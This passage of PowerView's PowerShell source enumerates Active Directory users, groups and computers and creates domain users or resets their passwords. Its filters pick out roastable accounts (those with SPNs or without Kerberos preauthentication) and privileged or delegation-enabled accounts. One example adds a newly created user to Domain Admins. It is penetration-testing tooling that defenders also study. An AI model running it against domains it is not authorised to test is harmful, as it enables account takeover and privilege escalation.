domain to use for the query, defaults to the current domain. 4647 4648 .PARAMETER LDAPFilter 4649 4650 Specifies an LDAP query string that is used to filter Active Directory objects. 4651 4652 .PARAMETER SearchBase 4653 4654 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 4655 Useful for OU queries. 4656 4657 .PARAMETER Server 4658 4659 Specifies an Active Directory server (domain controller) to bind to. 4660 4661 .PARAMETER SearchScope 4662 4663 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 4664 4665 .PARAMETER ResultPageSize 4666 4667 Specifies the PageSize to set for the LDAP searcher object. 4668 4669 .PARAMETER ServerTimeLimit 4670 4671 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 4672 4673 .PARAMETER Tombstone 4674 4675 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 4676 4677 .PARAMETER Credential 4678 4679 A [Management.Automation.PSCredential] object of alternate credentials 4680 for connection to the target domain. 4681 4682 .EXAMPLE 4683 4684 Find-DomainObjectPropertyOutlier -ClassName 'User' 4685 4686 Enumerates users in the current domain with 'outlier' properties filled in. 4687 4688 .EXAMPLE 4689 4690 Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local 4691 4692 Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. 4693 4694 .EXAMPLE 4695 4696 Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier 4697 4698 Enumerates computers in the current domain with 'outlier' properties filled in. 4699 4700 .OUTPUTS 4701 4702 PowerView.PropertyOutlier 4703 4704 Custom PSObject with translated object property outliers. 4705 #> 4706 4707 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 4708 [OutputType('PowerView.PropertyOutlier')] 4709 [CmdletBinding(DefaultParameterSetName = 'ClassName')] 4710 Param( 4711 [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] 4712 [Alias('Class')] 4713 [ValidateSet('User', 'Group', 'Computer')] 4714 [String] 4715 $ClassName, 4716 4717 [ValidateNotNullOrEmpty()] 4718 [String[]] 4719 $ReferencePropertySet, 4720 4721 [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] 4722 [PSCustomObject] 4723 $ReferenceObject, 4724 4725 [ValidateNotNullOrEmpty()] 4726 [String] 4727 $Domain, 4728 4729 [ValidateNotNullOrEmpty()] 4730 [Alias('Filter')] 4731 [String] 4732 $LDAPFilter, 4733 4734 [ValidateNotNullOrEmpty()] 4735 [Alias('ADSPath')] 4736 [String] 4737 $SearchBase, 4738 4739 [ValidateNotNullOrEmpty()] 4740 [Alias('DomainController')] 4741 [String] 4742 $Server, 4743 4744 [ValidateSet('Base', 'OneLevel', 'Subtree')] 4745 [String] 4746 $SearchScope = 'Subtree', 4747 4748 [ValidateRange(1, 10000)] 4749 [Int] 4750 $ResultPageSize = 200, 4751 4752 [ValidateRange(1, 10000)] 4753 [Int] 4754 $ServerTimeLimit, 4755 4756 [Switch] 4757 $Tombstone, 4758 4759 [Management.Automation.PSCredential] 4760 [Management.Automation.CredentialAttribute()] 4761 $Credential = [Management.Automation.PSCredential]::Empty 4762 ) 4763 4764 BEGIN { 4765 $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') 4766 4767 $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') 4768 4769 $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') 4770 4771 $SearcherArguments = @{} 4772 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 4773 if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } 4774 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 4775 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 4776 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 4777 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 4778 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 4779 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 4780 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 4781 4782 # Domain / Credential 4783 if ($PSBoundParameters['Domain']) { 4784 if ($PSBoundParameters['Credential']) { 4785 $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name 4786 } 4787 else { 4788 $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name 4789 } 4790 Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" 4791 } 4792 4793 $SchemaArguments = @{} 4794 if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } 4795 if ($TargetForest) { 4796 $SchemaArguments['Forest'] = $TargetForest 4797 } 4798 } 4799 4800 PROCESS { 4801 4802 if ($PSBoundParameters['ReferencePropertySet']) { 4803 Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" 4804 $ReferenceObjectProperties = $ReferencePropertySet 4805 } 4806 elseif ($PSBoundParameters['ReferenceObject']) { 4807 Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" 4808 $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name 4809 $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 4810 Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" 4811 } 4812 else { 4813 Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" 4814 } 4815 4816 if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { 4817 $Objects = Get-DomainUser @SearcherArguments 4818 if (-not $ReferenceObjectProperties) { 4819 $ReferenceObjectProperties = $UserReferencePropertySet 4820 } 4821 } 4822 elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { 4823 $Objects = Get-DomainGroup @SearcherArguments 4824 if (-not $ReferenceObjectProperties) { 4825 $ReferenceObjectProperties = $GroupReferencePropertySet 4826 } 4827 } 4828 elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { 4829 $Objects = Get-DomainComputer @SearcherArguments 4830 if (-not $ReferenceObjectProperties) { 4831 $ReferenceObjectProperties = $ComputerReferencePropertySet 4832 } 4833 } 4834 else { 4835 throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName" 4836 } 4837 4838 ForEach ($Object in $Objects) { 4839 $ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name 4840 ForEach($ObjectProperty in $ObjectProperties) { 4841 if ($ReferenceObjectProperties -NotContains $ObjectProperty) { 4842 $Out = New-Object PSObject 4843 $Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName 4844 $Out | Add-Member Noteproperty 'Property' $ObjectProperty 4845 $Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty 4846 $Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier') 4847 $Out 4848 } 4849 } 4850 } 4851 } 4852 } 4853 4854 4855 ######################################################## 4856 # 4857 # "net *" replacements and other fun start below 4858 # 4859 ######################################################## 4860 4861 function Get-DomainUser { 4862 <# 4863 .SYNOPSIS 4864 4865 Return all users or specific user objects in AD. 4866 4867 Author: Will Schroeder (@harmj0y) 4868 License: BSD 3-Clause 4869 Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty 4870 4871 .DESCRIPTION 4872 4873 Builds a directory searcher object using Get-DomainSearcher, builds a custom 4874 LDAP filter based on targeting/filter parameters, and searches for all objects 4875 matching the criteria. To only return specific properties, use 4876 "-Properties samaccountname,usnchanged,...". By default, all user objects for 4877 the current domain are returned. 4878 4879 .PARAMETER Identity 4880 4881 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), 4882 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). 4883 Wildcards accepted. Also accepts DOMAIN\user format. 4884 4885 .PARAMETER SPN 4886 4887 Switch. Only return user objects with non-null service principal names. 4888 4889 .PARAMETER UACFilter 4890 4891 Dynamic parameter that accepts one or more values from $UACEnum, including 4892 "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'. 4893 4894 .PARAMETER AdminCount 4895 4896 Switch. Return users with '(adminCount=1)' (meaning are/were privileged). 4897 4898 .PARAMETER AllowDelegation 4899 4900 Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' 4901 4902 .PARAMETER DisallowDelegation 4903 4904 Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' 4905 4906 .PARAMETER TrustedToAuth 4907 4908 Switch. Return computer objects that are trusted to authenticate for other principals. 4909 4910 .PARAMETER PreauthNotRequired 4911 4912 Switch. Return user accounts with "Do not require Kerberos preauthentication" set. 4913 4914 .PARAMETER Domain 4915 4916 Specifies the domain to use for the query, defaults to the current domain. 4917 4918 .PARAMETER LDAPFilter 4919 4920 Specifies an LDAP query string that is used to filter Active Directory objects. 4921 4922 .PARAMETER Properties 4923 4924 Specifies the properties of the output object to retrieve from the server. 4925 4926 .PARAMETER SearchBase 4927 4928 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" 4929 Useful for OU queries. 4930 4931 .PARAMETER Server 4932 4933 Specifies an Active Directory server (domain controller) to bind to. 4934 4935 .PARAMETER SearchScope 4936 4937 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). 4938 4939 .PARAMETER ResultPageSize 4940 4941 Specifies the PageSize to set for the LDAP searcher object. 4942 4943 .PARAMETER ServerTimeLimit 4944 4945 Specifies the maximum amount of time the server spends searching. Default of 120 seconds. 4946 4947 .PARAMETER SecurityMasks 4948 4949 Specifies an option for examining security information of a directory object. 4950 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. 4951 4952 .PARAMETER Tombstone 4953 4954 Switch. Specifies that the searcher should also return deleted/tombstoned objects. 4955 4956 .PARAMETER FindOne 4957 4958 Only return one result object. 4959 4960 .PARAMETER Credential 4961 4962 A [Management.Automation.PSCredential] object of alternate credentials 4963 for connection to the target domain. 4964 4965 .PARAMETER Raw 4966 4967 Switch. Return raw results instead of translating the fields into a custom PSObject. 4968 4969 .EXAMPLE 4970 4971 Get-DomainUser -Domain testlab.local 4972 4973 Return all users for the testlab.local domain 4974 4975 .EXAMPLE 4976 4977 Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator" 4978 4979 Return the user with the given SID, as well as Administrator. 4980 4981 .EXAMPLE 4982 4983 'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff 4984 4985 lastlogoff samaccountname 4986 ---------- -------------- 4987 12/31/1600 4:00:00 PM dfm.a 4988 12/31/1600 4:00:00 PM dfm 4989 12/31/1600 4:00:00 PM harmj0y 4990 12/31/1600 4:00:00 PM Administrator 4991 4992 .EXAMPLE 4993 4994 Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation 4995 4996 Search the specified OU for privileged user (AdminCount = 1) that allow delegation 4997 4998 .EXAMPLE 4999 5000 Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon 5001 5002 Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon 5003 5004 .EXAMPLE 5005 5006 Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED 5007 5008 Find users who doesn't require Kerberos preauthentication and DON'T have an expired password. 5009 5010 .EXAMPLE 5011 5012 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5013 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 5014 Get-DomainUser -Credential $Cred 5015 5016 .EXAMPLE 5017 5018 Get-Domain | Select-Object -Expand name 5019 testlab.local 5020 5021 Get-DomainUser dev\user1 -Verbose -Properties distinguishedname 5022 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local 5023 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local 5024 VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1))) 5025 5026 distinguishedname 5027 ----------------- 5028 CN=user1,CN=Users,DC=dev,DC=testlab,DC=local 5029 5030 .INPUTS 5031 5032 String 5033 5034 .OUTPUTS 5035 5036 PowerView.User 5037 5038 Custom PSObject with translated user property fields. 5039 5040 PowerView.User.Raw 5041 5042 The raw DirectoryServices.SearchResult object, if -Raw is enabled. 5043 #> 5044 5045 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 5046 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 5047 [OutputType('PowerView.User')] 5048 [OutputType('PowerView.User.Raw')] 5049 [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] 5050 Param( 5051 [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 5052 [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 5053 [String[]] 5054 $Identity, 5055 5056 [Switch] 5057 $SPN, 5058 5059 [Switch] 5060 $AdminCount, 5061 5062 [Parameter(ParameterSetName = 'AllowDelegation')] 5063 [Switch] 5064 $AllowDelegation, 5065 5066 [Parameter(ParameterSetName = 'DisallowDelegation')] 5067 [Switch] 5068 $DisallowDelegation, 5069 5070 [Switch] 5071 $TrustedToAuth, 5072 5073 [Alias('KerberosPreauthNotRequired', 'NoPreauth')] 5074 [Switch] 5075 $PreauthNotRequired, 5076 5077 [ValidateNotNullOrEmpty()] 5078 [String] 5079 $Domain, 5080 5081 [ValidateNotNullOrEmpty()] 5082 [Alias('Filter')] 5083 [String] 5084 $LDAPFilter, 5085 5086 [ValidateNotNullOrEmpty()] 5087 [String[]] 5088 $Properties, 5089 5090 [ValidateNotNullOrEmpty()] 5091 [Alias('ADSPath')] 5092 [String] 5093 $SearchBase, 5094 5095 [ValidateNotNullOrEmpty()] 5096 [Alias('DomainController')] 5097 [String] 5098 $Server, 5099 5100 [ValidateSet('Base', 'OneLevel', 'Subtree')] 5101 [String] 5102 $SearchScope = 'Subtree', 5103 5104 [ValidateRange(1, 10000)] 5105 [Int] 5106 $ResultPageSize = 200, 5107 5108 [ValidateRange(1, 10000)] 5109 [Int] 5110 $ServerTimeLimit, 5111 5112 [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 5113 [String] 5114 $SecurityMasks, 5115 5116 [Switch] 5117 $Tombstone, 5118 5119 [Alias('ReturnOne')] 5120 [Switch] 5121 $FindOne, 5122 5123 [Management.Automation.PSCredential] 5124 [Management.Automation.CredentialAttribute()] 5125 $Credential = [Management.Automation.PSCredential]::Empty, 5126 5127 [Switch] 5128 $Raw 5129 ) 5130 5131 DynamicParam { 5132 $UACValueNames = [Enum]::GetNames($UACEnum) 5133 # add in the negations 5134 $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} 5135 # create new dynamic parameter 5136 New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) 5137 } 5138 5139 BEGIN { 5140 $SearcherArguments = @{} 5141 if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 5142 if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 5143 if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 5144 if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 5145 if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 5146 if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 5147 if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 5148 if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 5149 if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 5150 if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 5151 $UserSearcher = Get-DomainSearcher @SearcherArguments 5152 } 5153 5154 PROCESS { 5155 #bind dynamic parameter to a friendly variable 5156 if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { 5157 New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters 5158 } 5159 5160 if ($UserSearcher) { 5161 $IdentityFilter = '' 5162 $Filter = '' 5163 $Identity | Where-Object {$_} | ForEach-Object { 5164 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 5165 if ($IdentityInstance -match '^S-1-') { 5166 $IdentityFilter += "(objectsid=$IdentityInstance)" 5167 } 5168 elseif ($IdentityInstance -match '^CN=') { 5169 $IdentityFilter += "(distinguishedname=$IdentityInstance)" 5170 if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 5171 # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 5172 # and rebuild the domain searcher 5173 $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 5174 Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 5175 $SearcherArguments['Domain'] = $IdentityDomain 5176 $UserSearcher = Get-DomainSearcher @SearcherArguments 5177 if (-not $UserSearcher) { 5178 Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" 5179 } 5180 } 5181 } 5182 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 5183 $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 5184 $IdentityFilter += "(objectguid=$GuidByteString)" 5185 } 5186 elseif ($IdentityInstance.Contains('\')) { 5187 $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical 5188 if ($ConvertedIdentityInstance) { 5189 $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) 5190 $UserName = $IdentityInstance.Split('\')[1] 5191 $IdentityFilter += "(samAccountName=$UserName)" 5192 $SearcherArguments['Domain'] = $UserDomain 5193 Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" 5194 $UserSearcher = Get-DomainSearcher @SearcherArguments 5195 } 5196 } 5197 else { 5198 $IdentityFilter += "(samAccountName=$IdentityInstance)" 5199 } 5200 } 5201 5202 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 5203 $Filter += "(|$IdentityFilter)" 5204 } 5205 5206 if ($PSBoundParameters['SPN']) { 5207 Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' 5208 $Filter += '(servicePrincipalName=*)' 5209 } 5210 if ($PSBoundParameters['AllowDelegation']) { 5211 Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' 5212 # negation of "Accounts that are sensitive and not trusted for delegation" 5213 $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' 5214 } 5215 if ($PSBoundParameters['DisallowDelegation']) { 5216 Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' 5217 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' 5218 } 5219 if ($PSBoundParameters['AdminCount']) { 5220 Write-Verbose '[Get-DomainUser] Searching for adminCount=1' 5221 $Filter += '(admincount=1)' 5222 } 5223 if ($PSBoundParameters['TrustedToAuth']) { 5224 Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' 5225 $Filter += '(msds-allowedtodelegateto=*)' 5226 } 5227 if ($PSBoundParameters['PreauthNotRequired']) { 5228 Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' 5229 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' 5230 } 5231 if ($PSBoundParameters['LDAPFilter']) { 5232 Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" 5233 $Filter += "$LDAPFilter" 5234 } 5235 5236 # build the LDAP filter for the dynamic UAC filter value 5237 $UACFilter | Where-Object {$_} | ForEach-Object { 5238 if ($_ -match 'NOT_.*') { 5239 $UACField = $_.Substring(4) 5240 $UACValue = [Int]($UACEnum::$UACField) 5241 $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" 5242 } 5243 else { 5244 $UACValue = [Int]($UACEnum::$_) 5245 $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" 5246 } 5247 } 5248 5249 $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" 5250 Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" 5251 5252 if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } 5253 else { $Results = $UserSearcher.FindAll() } 5254 $Results | Where-Object {$_} | ForEach-Object { 5255 if ($PSBoundParameters['Raw']) { 5256 # return raw result objects 5257 $User = $_ 5258 $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') 5259 } 5260 else { 5261 $User = Convert-LDAPProperty -Properties $_.Properties 5262 $User.PSObject.TypeNames.Insert(0, 'PowerView.User') 5263 } 5264 $User 5265 } 5266 if ($Results) { 5267 try { $Results.dispose() } 5268 catch { 5269 Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" 5270 } 5271 } 5272 $UserSearcher.dispose() 5273 } 5274 } 5275 } 5276 5277 5278 function New-DomainUser { 5279 <# 5280 .SYNOPSIS 5281 5282 Creates a new domain user (assuming appropriate permissions) and returns the user object. 5283 5284 TODO: implement all properties that New-ADUser implements (https://technet.microsoft.com/en-us/library/ee617253.aspx). 5285 5286 Author: Will Schroeder (@harmj0y) 5287 License: BSD 3-Clause 5288 Required Dependencies: Get-PrincipalContext 5289 5290 .DESCRIPTION 5291 5292 First binds to the specified domain context using Get-PrincipalContext. 5293 The bound domain context is then used to create a new 5294 DirectoryServices.AccountManagement.UserPrincipal with the specified user properties. 5295 5296 .PARAMETER SamAccountName 5297 5298 Specifies the Security Account Manager (SAM) account name of the user to create. 5299 Maximum of 256 characters. Mandatory. 5300 5301 .PARAMETER AccountPassword 5302 5303 Specifies the password for the created user. Mandatory. 5304 5305 .PARAMETER Name 5306 5307 Specifies the name of the user to create. If not provided, defaults to SamAccountName. 5308 5309 .PARAMETER DisplayName 5310 5311 Specifies the display name of the user to create. If not provided, defaults to SamAccountName. 5312 5313 .PARAMETER Description 5314 5315 Specifies the description of the user to create. 5316 5317 .PARAMETER Domain 5318 5319 Specifies the domain to use to search for user/group principals, defaults to the current domain. 5320 5321 .PARAMETER Credential 5322 5323 A [Management.Automation.PSCredential] object of alternate credentials 5324 for connection to the target domain. 5325 5326 .EXAMPLE 5327 5328 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5329 New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword 5330 5331 Creates the 'harmj0y2' user with the specified description and password. 5332 5333 .EXAMPLE 5334 5335 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5336 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 5337 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5338 $user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred 5339 5340 Creates the 'harmj0y2' user with the specified description and password, using the specified 5341 alternate credentials. 5342 5343 .EXAMPLE 5344 5345 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5346 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 5347 $UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 5348 New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred 5349 5350 Creates the 'andy' user with the specified description and password, using the specified 5351 alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember 5352 and the alternate credentials. 5353 5354 .OUTPUTS 5355 5356 DirectoryServices.AccountManagement.UserPrincipal 5357 5358 .LINK 5359 5360 http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ 5361 #> 5362 5363 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] 5364 [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 5365 [OutputType('DirectoryServices.AccountManagement.UserPrincipal')] 5366 Param( 5367 [Parameter(Mandatory = $True)] 5368 [ValidateLength(0, 256)] 5369 [String] 5370 $SamAccountName, 5371 5372 [Parameter(Mandatory = $True)] 5373 [ValidateNotNullOrEmpty()] 5374 [Alias('Password')] 5375 [Security.SecureString] 5376 $AccountPassword, 5377 5378 [ValidateNotNullOrEmpty()] 5379 [String] 5380 $Name, 5381 5382 [ValidateNotNullOrEmpty()] 5383 [String] 5384 $DisplayName, 5385 5386 [ValidateNotNullOrEmpty()] 5387 [String] 5388 $Description, 5389 5390 [ValidateNotNullOrEmpty()] 5391 [String] 5392 $Domain, 5393 5394 [Management.Automation.PSCredential] 5395 [Management.Automation.CredentialAttribute()] 5396 $Credential = [Management.Automation.PSCredential]::Empty 5397 ) 5398 5399 $ContextArguments = @{ 5400 'Identity' = $SamAccountName 5401 } 5402 if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } 5403 if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } 5404 $Context = Get-PrincipalContext @ContextArguments 5405 5406 if ($Context) { 5407 $User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context) 5408 5409 # set all the appropriate user parameters 5410 $User.SamAccountName = $Context.Identity 5411 $TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword) 5412 $User.SetPassword($TempCred.GetNetworkCredential().Password) 5413 $User.Enabled = $True 5414 $User.PasswordNotRequired = $False 5415 5416 if ($PSBoundParameters['Name']) { 5417 $User.Name = $Name 5418 } 5419 else { 5420 $User.Name = $Context.Identity 5421 } 5422 if ($PSBoundParameters['DisplayName']) { 5423 $User.DisplayName = $DisplayName 5424 } 5425 else { 5426 $User.DisplayName = $Context.Identity 5427 } 5428 5429 if ($PSBoundParameters['Description']) { 5430 $User.Description = $Description 5431 } 5432 5433 Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'" 5434 try { 5435 $Null = $User.Save() 5436 Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created" 5437 $User 5438 } 5439 catch { 5440 Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_" 5441 } 5442 } 5443 } 5444 5445 5446 function Set-DomainUserPassword { 5447 <# 5448 .SYNOPSIS 5449 5450 Sets the password for a given user identity. 5451 5452 Author: Will Schroeder (@harmj0y) 5453 License: BSD 3-Clause 5454 Required Dependencies: Get-PrincipalContext 5455 5456 .DESCRIPTION 5457 5458 First binds to the specified domain context using Get-PrincipalContext. 5459 The bound domain context is then used to search for the specified user -Identity, 5460 which returns a DirectoryServices.AccountManagement.UserPrincipal object. The 5461 SetPassword() function is then invoked on the user, setting the password to -AccountPassword. 5462 5463 .PARAMETER Identity 5464 5465 A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local), 5466 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) 5467 specifying the user to reset the password for. 5468 5469 .PARAMETER AccountPassword 5470 5471 Specifies the password to reset the target user's to. Mandatory. 5472 5473 .PARAMETER Domain 5474 5475 Specifies the domain to use to search for the user identity, defaults to the current domain. 